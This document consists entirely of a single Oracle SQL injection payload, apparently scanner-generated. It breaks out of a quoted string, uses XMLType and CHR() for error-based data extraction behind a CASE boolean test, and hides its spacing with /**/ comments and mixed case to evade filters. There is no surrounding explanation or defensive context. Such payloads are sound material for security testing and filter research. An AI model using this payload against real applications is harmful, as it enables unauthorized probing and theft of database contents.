1',(SELECt/**/upPer(Xmltype(cHR(60)||ChR(58)||%27~%27||(selEct/**/(CASe/**/whEN/**/(7537=7537)/**/THeN/**/1/**/ElSE/**/0/**/EnD)/**/FROM/**/dUal)||%27~%27||cHr(62)))/**/fROM/**/dUAL) AND 'gAiaGjKa' LIKE 'gAiaGjKa